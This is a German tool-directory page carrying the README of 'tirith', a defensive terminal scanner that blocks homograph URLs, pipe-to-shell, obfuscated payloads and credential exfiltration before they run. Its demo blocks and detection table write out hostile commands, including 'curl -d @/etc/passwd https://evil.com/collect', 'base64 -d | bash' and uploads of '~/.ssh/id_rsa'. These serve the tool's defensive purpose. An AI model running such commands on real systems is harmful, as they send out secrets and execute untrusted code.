Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
tirith — Terminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden. | Kitploit
Tools/GitHubGitHub/sheeki03/tirith
OSINT (Open-Source-Intelligence)Phishing-ToolsSchwachstellenscannerDatenexfiltrationMalware-AnalyseDevSecOpsSecret-ErkennungBedrohungsanalyseLieferkettensicherheitLernen & BildungKuratierte Ressourcen
2.7k90223vor 17h 58mVon Kitploit geprüft
Teilen
GitHub
sheeki03/tirith

tirith

Terminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden.

Repository anzeigenWebseite
# tirith

**Ihr Browser würde das abfangen. Ihr Terminal nicht.**

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, Terminal-Sicherheit" width="100%" />
</p>

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers)
[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)

[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)

<a href="https://vercel.com/open-source-program">
  <img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>

<sub>Unabhängiges Open-Source-Projekt, Hosting unterstützt durch das Vercel Open Source Program (Spring 2026 Cohort).</sub>

---

Können Sie den Unterschied erkennen?

```
  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised
```

Sie können es nicht. Ihr Terminal auch nicht. Beide `і`-Zeichen sind kyrillisch (U+0456), nicht lateinisch `i`. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor Sie es bemerken.

Browser haben dieses Problem vor Jahren gelöst. Terminals geben Unicode, ANSI-Escapes und unsichtbare Zeichen weiterhin ohne Prüfung aus. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.

**Tirith steht am Tor.** Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab – auf Homograph-URLs, verschleierte Payloads, Diebstahl von Zugangsdaten, bösartige KI-Skills/-Konfigurationen und bekannte schädliche Pakete/Domains/IPs aus einer signierten Threat-Intelligence-Datenbank – bevor sie ausgeführt werden.

```bash
brew install tirith
```

Dann in deinem Shell-Profil aktivieren:

```bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source
```

> [!TIP]
> `eval "$(tirith init)"` erkennt deine aktuelle Shell automatisch (es untersucht den übergeordneten Prozess und greift bei Bedarf auf `$SHELL` zurück). Das explizite `--shell`-Flag ist nur erforderlich, wenn du die Erkennung überschreiben möchtest.

Oder lass Tirith die Startdatei für dich schreiben, als einen überprüften Plan, den du rückgängig machen kannst:

```bash
tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply
```

Das war die Abdeckung der interaktiven Shell. Befehle, die von dieser Shell akzeptiert werden, werden geprüft, während der Hook geladen und funktionsfähig ist; das genaue Blockierungsverhalten hängt von der Shell und dem Modus ab. Führen Sie nach der Installation und nach Upgrades `tirith status` aus: Es zeigt an, ob der geladene Hook dieses Terminals aktuell ist. Führen Sie `tirith doctor --verify-shell` aus, um die Blockierung in der Shell selbst zu beobachten, und lesen Sie [Durchsetzung nach Shell](#enforcement-by-shell), bevor Sie den Hook als Autorisierungsgrenze behandeln. Saubere Befehle bleiben still und nehmen normalerweise den schnellen Pfad.

Ebenfalls verfügbar über [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) und [mehr](#install).

---

## In Aktion erleben

**Homograph-Angriff, vor der Ausführung blockiert:**

```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)
```

Der Befehl wird niemals ausgeführt.

**Einfache HTTP-Anfrage an eine LAN-Adresse, gewarnt, nicht blockiert:**

```
$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20
```

Warnung wird auf stderr ausgegeben. Der Befehl wird trotzdem ausgeführt. Ein Download, der an eine Shell weitergeleitet wird
(`curl ... | sh`), ist keine Warnung: Er wird als `curl_pipe_shell` blockiert.

**Base64-Decodierungs-Ausführungskette, blockiert:**

```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```

Fängt auch Dekodierungsketten über sudo/env-Wrapper und PowerShell `-EncodedCommand` ab.

**Anmeldedaten-Exfiltration, blockiert:**

```
$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server
```

Deckt alle curl/wget-Upload-Flags, Umgebungsvariablen (`$AWS_SECRET_ACCESS_KEY`) und Command Substitution ab.

**Bösartige Skill-Datei, beim Scan erkannt:**

```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```

Durchsucht JS/Python-Dateien nach obfuskierten Payloads, dynamischer Codeausführung und Mustern zur Exfiltration von Secrets.

**Normale Befehle, unsichtbar:**

```
$ git status
$ ls -la
$ docker compose up -d
```

Nichts. Null Ausgabe. Du vergisst, dass tirith läuft.

---

## Was es erkennt

**245 Erkennungsregeln in 35 Kategorien.**

| Kategorie | Was es verhindert |
|----------|--------------|
| **Homograph-Angriffe** | Kyrillische/griechische Lookalikes in Hostnamen, Punycode-Domains, Mixed-Script-Labels, Lookalike-TLDs, verwechselbare Domains, Erkennung verwechselbarer Zeichen auf Textebene (mathematische Alphanumerika, gemischtschriftliche Wörter) |
| **Terminal-Injection** | ANSI-Escape-Sequenzen, Bidi-Overrides, Zero-Width-Zeichen, Unicode-Tags, unsichtbare mathematische Operatoren, Variation Selectors, Hangul-Filler |
| **Steganographie-Abwehr** | Unsichtbare Whitespace-Kodierung (12 Unicode-Leerzeichenvarianten), Mongolian Vowel Separator, Hangul-Filler-Zeichen, mathematische alphanumerische Substitution, Abwehr gegen Textsteganographie im Stil von st3gg |
| **Pipe-to-Shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)` sowie viele Wrapper-, Decode- und Indirektionspfade |
| **Base64-Decode-Execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, Decode-Ketten über sudo/env-Wrapper |
| **Datenexfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, Uploads von geheimen Projektdateien (`.env`, `.env.production`, `secrets.yaml`), Uploads von Umgebungsvariablen in Request-Bodies (`$AWS_SECRET_ACCESS_KEY`), Exfiltration per Command Substitution. Ein Credential in einem Request-Header (`-H "Authorization: Bearer $TOKEN"`) wird wie `--user` als Authentifizierung behandelt |
| **Scanning von Codedateien** | Verschleierte Payloads (`eval(atob(...))`), dynamische Codeausführung (`exec(b64decode(...))`), Exfiltration von Geheimnissen über `fetch`/`requests.post` in JS-/Python-Dateien |
| **Credential-Erkennung** | AWS-Keys, GitHub-PATs, Stripe-/Slack-/SendGrid-/Anthropic-/GCP-/npm-Tokens, Private-Key-Blöcke sowie entropiebasierte generische Secret-Erkennung |
| **Verhalten nach Kompromittierung** | Auslesen des Prozessspeichers (`/proc/*/mem`), Docker-Remote-Privilegieneskalation, Durchsuchen von Credential-Dateien, kalibriert an TeamPCP- und UNC1069-Post-Compromise-Tooling |
| **Befehlssicherheit** | Überschreiben von Dotfiles, Archiv-Extraktion in sensible Pfade, Zugriff auf Cloud-Metadata-Endpunkte, Zugriff auf private Netzwerke |
| **Unsichere Transportwege** | Unverschlüsseltes HTTP, das an eine Shell gepipet wird, `curl -k`, deaktivierte TLS-Verifikation, verkürzte URLs, die Ziele verbergen |
| **Umgebung** | Proxy-Hijacking, Export sensibler Umgebungsvariablen, Code-Injection über Umgebungsvariablen, Interpreter-Hijack, Shell-Injection über Umgebungsvariablen |
| **Sicherheit von Konfigurationsdateien** | Config-Injection, verdächtige Indikatoren, Nicht-ASCII-/unsichtbares Unicode in Konfigurationen, Sicherheit von MCP-Servern (unsicher/nicht vertrauenswürdig/dupliziert/permissiv) |
| **Ökosystem-Bedrohungen** | Git-Clone-Typosquats, nicht vertrauenswürdige Docker-Registries, pip-/npm-URL-Installationen, Web3-RPC-Endpunkte, vet nicht konfiguriert |
| **Sicherheit von Installationsbefehlen** | APT-Repositories, die aus einem gepipten Download hinzugefügt werden, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (deaktivierte Signaturprüfungen), `kubectl apply -f` gegen rohe/verkürzte Remote-Manifeste, Helm-Charts aus nicht vertrauenswürdigen Repositories, Terraform-Module aus nicht vertrauenswürdigen Remote-Quellen, `brew install`/`tap` aus beliebigen URLs |
| **Pfadanalyse** | Nicht-ASCII-Pfade, Homoglyphen in Pfaden, Doppelkodierung |
| **Gerenderte Inhalte** | Versteckte CSS-/Farbinhalte, versteckte HTML-Attribute, Analyse von Kommentarinhalten (Prompt-Injection bei High, destruktive Befehle bei Medium) |
| **Cloaking-Erkennung** | Serverseitiges Cloaking (Bot vs. Browser), versteckte Zwischenablage-Inhalte, versteckter Text in PDFs |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows-Defender-Ausnahmen (`Add-MpPreference -Exclusion*`), Inline-Download-Execute via `iex (iwr ...)` |
| **Abwehr von Terminal-Ausgaben** | OSC-52-Zwischenablage-Schreibvorgänge, gefälschte Prompts, OSC-8-Hyperlink- und Titel-/Clear-Screen-Manipulation, Prompt-Injection innerhalb von Befehls- oder MCP-Tool-Ausgaben (sowohl roh als auch deobfuskiert gescannt, sodass auch Unsichtbare-Zeichen-, Confusable-, aufgespreizte, Leetspeak- und kurze Base64-/Hex-Verschleierungen erkannt werden) sowie Exfiltration von Ausgabedaten (Beacon-URLs oder Anweisungen der Art „ein Geheimnis lesen und dann senden“) |
| **Betriebskontext** | Destruktive Befehle gegen als prod gekennzeichnete Cloud-/k8s-Kontexte und SSH-Hosts, Terraform / Pulumi / OpenTofu `apply` ohne passenden gespeicherten Plan, riskante sudo-Eskalation, privilegiertes `docker run` |
| **Workstation & Persistenz** | Anmeldedateien mit zu lockeren Berechtigungen und Klartext-Token (`~/.ssh`, `~/.aws`, `.npmrc`), Persistenz-Stützpunkte (Shell-rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-Hijack-Reihenfolge, Herkunft ausführbarer Dateien, riskante Aliase und Lebenszyklus sensibler Umgebungsvariablen |
| **Blast Radius & Korrelation** | Löschvorgänge, die das Repository verlassen, Massenlöschungen, Ausführung von Dateien, die aus riskanten Quellen heruntergeladen wurden, und Sitzungsketten wie Secret-Schreiben gefolgt von Netzwerk oder Löschen gefolgt von `git push --force` |
| **Vertrauen, Attestierung & Herkunft** | Abweichung bei signierten Command-Cards, Berührung von Canary-Honeytokens, Abweichung des Quell-Hosts bei Paste, Richtlinienablehnungen durch die Aufrufer-Herkunft (Agent), MCP-Lockfile-Drift und Drift der KI-Konfiguration gegenüber einem bekannten sicheren Snapshot |
| **Web3-Befehlsschutz** | On-Chain-Schreibvorgänge aus Cast-/Forge-/Hardhat-/Solana-/Anchor-Befehlen (Hoch, wenn derselbe Befehl zusätzlich eine deklarierte Sicherheitskontrolle deaktiviert), Rohmaterial aus Private Key, Keypair oder Mnemonic auf der Kommandozeile sowie ein RPC-Endpunkt oder Signer, dem die `web3_guard`-Richtlinie des Operators nicht vertraut. Nur Grammatik und Richtlinie: Es wird kein Chain-Status gelesen, keine Transaktion simuliert und keine Adresse bewertet |
| **Wallet-Exfiltration** | Geprüftes Wallet-, Keystore-, Browser-Wallet- und Solana-Keypair-Material, das an eine nachgewiesene entfernte Senke fließt, einschließlich Archiv-, Base64-, Hex-, Kompressor- und Verschlüsselungs-Zwischenschritten sowie Operanden-Promotion über `xargs` / `find -exec`. Ein reiner Lesezugriff auf die Quelle ist bewusst kein Befund |
| **CI-Artefakt-Vergiftung** | Ein von Forks erreichbarer Workflow, der ein Build-Artefakt hochlädt, das von einem privilegierten `workflow_run`-Workflow konsumiert wird, der an den auslösenden Lauf gebunden ist und es dann ausführt, als Quelle nutzt, den PATH verändert, veröffentlicht oder bereitstellt |

## Wogegen tirith NICHT schützt

Tirith analysiert die **Struktur** von Befehlen, eingefügtem Text und Dateien, bevor
sie ausgeführt werden. Es ist ein Gate vor der Ausführung, keine Laufzeitverteidigung, und deckt
Folgendes nicht ab:

- **Allgemeines Laufzeit-Sandboxing:** gewöhnliche Shell-Hooks und `tirith check` warnen
  oder blockieren; sie isolieren einen Befehl nach dem Start nicht. Der explizite
  Pfad `capsule run --preset untrusted-project` bietet fail-closed-Containment
  auf unterstützten nativen x86_64- und AArch64-Linux-Hosts. Die Ausführung von enthaltenem `pkg install` ist
  derzeit auf jedem Host deaktiviert.
- **Netzwerküberwachung nach der Ausführung:** was ein Prozess nach dem
  Start im Netzwerk tut, liegt außerhalb des Geltungsbereichs.
- **Allgemeine Malware-/Payload-Erkennung:** tirith ist kein Antivirus und
  detoniert keine Payload. Es analysiert Struktur und kann exakte Indikatoren
  und Artefakt-/Datei-Hashes aus der signierten Bedrohungsdatenbank abgleichen, aber eine unbekannte
  Payload ist durch das Fehlen eines Treffers nicht als harmlos erwiesen. (`tirith run` prüft
  die Struktur eines heruntergeladenen Skripts; es ist dennoch keine dynamische Malware-Analyse.)
- **Ein privilegierter Root-/Admin-Angreifer:** wer bereits root oder Admin ist, kann
  tirith trivial umgehen. Es verteidigt gegen manipulierte Eingaben, nicht gegen einen Angreifer, der bereits
  die Maschine besitzt.
- **Anti-Debugging / Anti-Tampering:** tirith widersteht keinem Reverse Engineering
  und schützt seine eigene Binärdatei nicht vor einem lokalen Angreifer.
- **On-Chain-Analyse:** der Web3-Guard liest die Befehlsgrammatik. Er liest keinen
  Chain-State, simuliert keine Transaktion, löst kein ENS auf, bewertet keine Adresse, auditiert keinen
  Vertrag und überwacht keinen Mempool.
- **Eine npm-Artefakt-Firewall:** tirith parst die npm-Befehlsgrammatik und Registry-
  Identitätsfakten und kann das eigene npm des Projekts nach seinem Signatur- und
  Provenienz-Status fragen. [Lokale npm-Inspektion](https://github.com/sheeki03/tirith/blob/main/docs/npm-inspection.md) hasht die exakt
  gelieferten Tarball-Bytes und meldet begrenzte statische Evidenz, ohne ihn herunterzuladen,
  seinen Inhalt auf die Festplatte zu schreiben oder Paketcode auszuführen. Diese Berichte
  autorisieren keine Installation. `tirith pkg install` bleibt sowohl für npm als auch für Python auf
  jedem Host deaktiviert, bis die Qualifizierung für die Ausführung privater Eingaben abgeschlossen ist.
- **Browser-Forensik oder -Überwachung:** `tirith browser audit` ist ein explizites,
  einmaliges, schreibgeschütztes Integritätsaudit von Extension-Quellbäumen. Es liest niemals
  Cookies, Verlauf, gespeicherte Passwörter, Storage, Wallet-Datenbanken oder `Local
  State`, entfernt oder quarantäniert niemals etwas und hat keinen Daemon.
- **Reproduzierbare Builds:** ein `attest`-Beleg zeichnet auf, was zwei Bäume
  zu einem Zeitpunkt enthielten. Tirith führt deinen Build nicht aus und kann nicht sagen, dass die Ausgabe aus
  der Quelle stammt. Ein Deployment-Beleg ist eine Momentaufnahme, keine
  kontinuierliche Überwachung.

Siehe [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) für das vollständige Bedrohungsmodell und
explizite Nicht-Ziele sowie
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) für ein
Fähigkeit-für-Fähigkeit-Verzeichnis dessen, was tirith erkennt, entscheidet, durchsetzt,
enthält und belegt.

---

## Bekannte Einschränkungen

- **Shell-Hook-Fragilität:** Der Schutz hängt davon ab, dass ein Shell-Hook installiert und aktiv bleibt. Hooks können über Shells, Shell-Versionen, Prompt-Frameworks und History-Tools hinweg brechen oder sich stillschweigend verschlechtern. Führen Sie `tirith doctor` aus, um den Live-Zustand zu prüfen, und achten Sie auf eine Verschlechterung, die nur Warnungen erzeugt.
- **Voller oder schreibgeschützter temporärer Speicher:** zsh und fish erfassen Eingaben über eine Scratch-Datei, bevor sie Tirith aufrufen, und schlagen fehlgeschlossen (fail closed) fehl, wenn diese Datei nicht erstellt werden kann. Ein volles/schreibgeschütztes `TMPDIR` kann daher jeden Befehl verweigern, und `TIRITH=0` kann nicht wiederherstellen, weil die Binärdatei nie erreicht wird. Befolgen Sie die Wiederherstellungsschritte in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Plattformbeschränkte Funktionen:** Der Daemon-Modus, `tirith run`, `tirith fetch` und `tirith gateway run` sind Unix-Oberflächen. `tirith run --no-exec` bleibt dort ein Inspektions-Workflow, aber die Live-Ausführung von Remote-Skripten ist nur unter Linux möglich und verweigert auf jedem anderen Host vor dem Download. Unter Windows verweigert `tirith gateway run` vor dem Lesen seiner Laufkonfiguration oder dem Starten des Upstream-Servers; `tirith gateway validate-config` bleibt verfügbar. `tirith setup` ist plattformübergreifend, während jede Host-Integration ihren eigenen Plattformvertrag hat (zum Beispiel hat Cline POSIX- und Windows-Wrapper; der blockierende Hook von OpenHands ist nur unter Unix verfügbar).
- **Umfang der Paketnamen-Extraktion:** deckt Sprach-Ökosysteme ab (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), nicht Distributions-Paketmanager (`apt`, `dnf`, `yum`, `pacman`).
- **Vorbehalte bei KI-Agenten:** Die Shell-Hook-Interzeption schützt nur Befehle, die durch eine gehookte interaktive Shell laufen. Ein Agent, der eine nicht-interaktive Shell startet, `exec` direkt aufruft oder ohne geladenen Hook läuft, wird von dieser Ebene nicht abgedeckt. Die MCP-Registrierung ist kooperativ, sofern Aufrufe nicht über das Gateway geleitet werden. Ein unterstützter Pre-Tool-Hook kann einen Host-Befehl automatisch zurückhalten, aber nur, wenn dieser Host ihn geladen und befolgt hat; mehrere Hosts schlagen offen (fail open) fehl, wenn ein Hook-Prozess einen Fehler wirft. Überprüfen Sie den effektiven Host, nicht nur die Existenz einer Konfigurationsdatei.
- **Fehlerverhalten von Host-Hooks:** Grok Build, Cline und OpenHands erlauben das Tool, wenn ihr Hook-Prozess abstürzt oder eine Zeitüberschreitung hat. Der Adapter von Tirith verweigert standardmäßig bei eigenen Fehlern, und unter Linux und macOS verweigern die generierten Hooks, wenn ihr festgelegter Python-Interpreter verschoben wurde (sofern nicht `TIRITH_FAIL_OPEN=1`), aber Tirith kann einen Host nicht dazu bringen, einen Prozess zu befolgen, der nicht zurückgekehrt ist. Unter Windows führen die Hook-Befehle von Gemini CLI und Kiro den festgelegten Python direkt aus, sodass ein verschobener oder entfernter Interpreter sie offen fehlschlagen lässt, bis `tirith setup` erneut ausgeführt wird. Führen Sie das Setup erneut aus, wenn ein festgelegter Interpreter verschoben wird, und testen Sie den echten Host nach jedem Upgrade.
- **Prime Agent IPython ist Extraktion auf Quellcodeebene:** Der Guard deckt Shell-Escapes/Magics und gängige Formen von `os`, `subprocess` und `pty.spawn` ab, ist aber keine Python-Laufzeit-Sandbox. Ein in einer früheren Zelle definierter Wrapper, Reflexion wie `getattr`/`__import__` oder ein Drittanbieter-Paket, das einen Prozess startet, kann dem entkommen, was ein Quell-Lexer beweisen kann.
- **Custom-DLP und Maschinenausgabe:** Breite `dlp_custom_patterns` können derzeit protokolleigene String-Werte in rekursiv redigierten JSON/MCP-Projektionen umschreiben, einschließlich generierter Bezeichner oder Receipt-Metadaten. Vermeiden Sie Muster, die strukturelle Werte treffen können, wenn Sie signierte oder maschinenstabile Ausgaben konsumieren; dies erfordert feldbewusste Redaktion vor der Veröffentlichung.
- **Genehmigung unbeaufsichtigter Installation:** `tirith install --yes` wird als unbeaufsichtigter `require_approval`-Kanal des Paketmanager-Task-Gates akzeptiert. Es ist ein explizites Operator-Flag, kein Beweis einer menschlichen TTY-Bestätigung. Verwenden Sie eine blockierende Task-Richtlinie, wo unbeaufsichtigte Ausführung unmöglich sein muss.
- **Interpretierte MCP-Bindung:** Die exakte Bindung interpretierter Server hasht den Repository-Baum unter festen Obergrenzen, anstatt eine echte Abhängigkeitsabschließung zu ermitteln, sodass große Bäume, Symlinks oder spezielle Dateien den Start verweigern können. Sie validiert vor dem Spawn erneut, führt aber keine Interpreter-Eingaben aus versiegelten
  geprüfte Deskriptoren; gleichzeitige Mutation durch denselben Benutzer bleibt eine Verify-to-Load-Lücke.
- **Task-Gate-Abdeckung:** Die Inferenz von Task-Effekten modelliert die Web3-Shell-Grammatik und nichts anderes, sodass nahezu jeder gewöhnliche SHELL-Befehl als INCOMPLETE gemeldet wird. `task_gate.mode: enforce` mit `action_incomplete_analysis: block` lehnt diese an den fünf Grenzen ab, die eine Shell-Envelope übermitteln. Es lehnt außerdem die narrativen Aktionen ab, die MCP-Tool-Aufrufe darstellen, welche das Gateway nicht modellieren kann, `tirith verify-self`, `tirith update --dry-run` und den ThreatDB-Refresh-Submit des Dashboards. Es ändert nichts bei Konfigurationsschreibvorgängen, `tirith fetch` oder einem echten `tirith update` oder Rollback, die stets als vollständig bewertet werden. `warn` ist der Standard. Die Alternative, `effects_denied_for_untrusted_sources`, verweigert den benannten Effekt bei jedem Aufruf an jeder eigenen Grenze, einschließlich der Befehle, die Sie selbst eingegeben haben, da keine Quelle an diesen Grenzen jemals als vertrauenswürdig behandelt wird.
- **Projekt-Containment erfordert native Linux-Kontrollmechanismen:** `tirith capsule run --preset untrusted-project` unterstützt natives x86_64- und AArch64-Linux mit nutzbarem Landlock und seccomp. Hosts, denen einer dieser Kontrollmechanismen fehlt, verweigern den Vorgang, bevor irgendetwas kopiert oder gestartet wird, ohne degradierten Fallback. Die contained Ausführung von `tirith pkg install` ist auf jedem Host deaktiviert, bis die Qualifizierung für private Eingaben abgeschlossen ist. Domain-Allow-Listing wird von keinem Backend angeboten.
- **Exfiltrationslücke bei verschachtelten Shells:** Ein sensibler Lesezugriff innerhalb eines verschachtelten Shell-Bodys, dessen Sink außerhalb davon liegt, wie etwa `bash -c "cat <wallet>" | curl -d @- <url>`, wird derzeit nicht korreliert. Dieselbe Kette, die sich vollständig innerhalb oder vollständig außerhalb des `-c`-Bodys befindet, wird erkannt.
- **Ausführungsnachweis-Grade:** Ein Linux-Start gilt erst als bestätigt, wenn sein gestoppter `exec`-Übergang, die dauerhafte Statusaktualisierung, die autorisierte Fortsetzung und der Nachweis des Terminal-Launchers alle abgeschlossen sind. Ein Gateway-Aufruf gilt nur durch ein exakt korreliertes Ergebnis als bestätigt. Shell-Beobachtungen und weitergeleitete Gateway-Aufrufe, die zeitlich überschreiten oder abgebrochen werden, bleiben konservative ungelöste Nachweise, niemals bestätigte Ausführung. Strikte Shell-Receipts sind für interaktive bash, zsh und fish verfügbar; PowerShell bleibt ausschließlich Preflight. Das Verhalten des nativen Linux-Launchers muss durch Linux-CI oder einen nativen Linux-Host verifiziert werden; weder portable Quellcode-/Unit-Abdeckung noch ein macOS-Build können dies ersetzen.
- **Web3-Abdeckungslücken:** `forge create` ist auf Engine-Oberflächen noch nicht modelliert; mehrere deklarierte `web3_guard`-Felder werden geparst, aber nicht durchgesetzt; und Schema-2-Command-Card-Web3-Bindings haben noch keinen CLI-Authoring- oder Live-Engine-Consumption-Pfad. Behandeln Sie diese als bekannte Lücken, nicht als stillschweigende Autorisierung.

## Threat Intelligence

Tirith liefert eine signierte lokale Threat-Datenbank für die Reputation von Paketen, Hostnamen und IPs. Wenn ein Shell-Hook oder `tirith check` eine Paketinstallation oder einen verdächtigen Infrastrukturverweis erkennt, gleicht es diese Eingabe mit der Datenbank ab, bevor der Befehl ausgeführt wird, anstatt sich nur auf statische Heuristiken zu verlassen.

**Signierte DB** (von CI erstellt, beim Download und Laden verifiziert):

- Bekannte bösartige Pakete aus [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) und [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Bösartige IP-Infrastruktur aus [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Bestätigte Typosquats und Baselines beliebter Pakete von [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)-Katalog für die Korrelation von Laufzeit-Advisories

ThreatDB v2 fügt exakte SHA-256-Werte von Artefakten, Hashes installierter Dateien, bösartige URLs, Kampagnenzugehörigkeit und Verhaltens-Tags hinzu. Der signierte Index, Updater, Compiler und Loader unterstützen v1 und v2 während der stufenweisen Umstellung, lehnen Sequenz-Rollbacks ab, veröffentlichen transaktional und behalten eine signierte Last-Known-Good-Datenbank bei, wenn ein Update unvollständig oder ungültig ist. Die DigitalSide-Quelle ist implementiert, aber absichtlich inaktiv, bis ihre Aktualität und ihr Betriebsvertrag genehmigt sind.

**Optionale ergänzende Feeds** (benutzerlokales Overlay):

- [URLhaus](https://urlhaus.abuse.ch/) und [ThreatFox](https://threatfox.abuse.ch/) über einen abuse.ch-Auth-Key
- [PhishTank](https://phishtank.org/) (Cisco Talos) und [Phishing Army](https://phishing.army/)-Blocklisten
- Tor-Exit-Node-Liste vom [Tor Project](https://www.torproject.org/)

**Optionale Live-Anreicherung** während `tirith check` und im Daemon-Modus:

- [OSV.dev](https://osv.dev/)-Advisory-Abfragen (Google OSS)
- [deps.dev](https://deps.dev/)-Paketzustandssignale (Google OSS) und [ecosyste.ms](https://ecosyste.ms/)-Maintainer-Daten
- [Google Safe Browsing](https://safebrowsing.google.com/)-URL-Reputation mit Ihrem eigenen API-Key

```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date
```

Standardmäßig lösen Shell-Hooks und `tirith check` alle 24 Stunden eine kostengünstige Hintergrund-Aktualisierungsprüfung aus. Der Daemon-Modus hält denselben Anreicherungspfad im Hintergrund warm.

`threat-db explain` akzeptiert eine Domain, einen Paketnamen (`name`, `ecosystem:name` oder `name@version`) oder eine IPv4-Adresse. Die Binärdatei führt keine Historie pro Eintrag, daher meldet `threat-db diff` Kategorie- und Quellen-Zähldeltas zwischen Snapshots, nicht die exakt geänderten Einträge. Jeder `threat-db`-Befehl akzeptiert `--format json`; `threatdb` ist ein Alias.

### Paket-Risikobewertung

`tirith package risk <ecosystem> <name>` bewertet das Lieferketten-/Maintainer-Risiko eines Pakets so, wie `tirith score` eine URL bewertet – als **deterministische, vollständig erklärbare Summe benannter Faktoren**, ohne Modell und ohne gelernte Gewichte. `tirith package explain <ecosystem> <name>` ergänzt die faktorweise Herleitung; beide akzeptieren `--format json`.

```bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API
```

**Standardmäßig offline.** Ohne Flags ist jedes Signal lokal, ohne Netzwerkaufruf: (1) **Name vs. populäre Pakete**: bekannt-populär, unbekannt oder ein Ein-Edit-Near-Miss eines populären Namens (die klassische Typosquat-/Slopsquat-Form), aus dem `popular`-Set der lokalen Threat-Datenbank; (2) **bekannter bösartiger Typosquat**: eine exakte Übereinstimmung im `typosquat`-Index der Threat-DB; (3) **Install-/Lifecycle-Skripte** und (4) **gebündelte Binär-Blobs**, die nur erkannt werden, wenn der Paketinhalt lokal verfügbar ist (unter `node_modules` / `site-packages` oder via `--path`). tirith **lädt niemals** das Paket herunter.

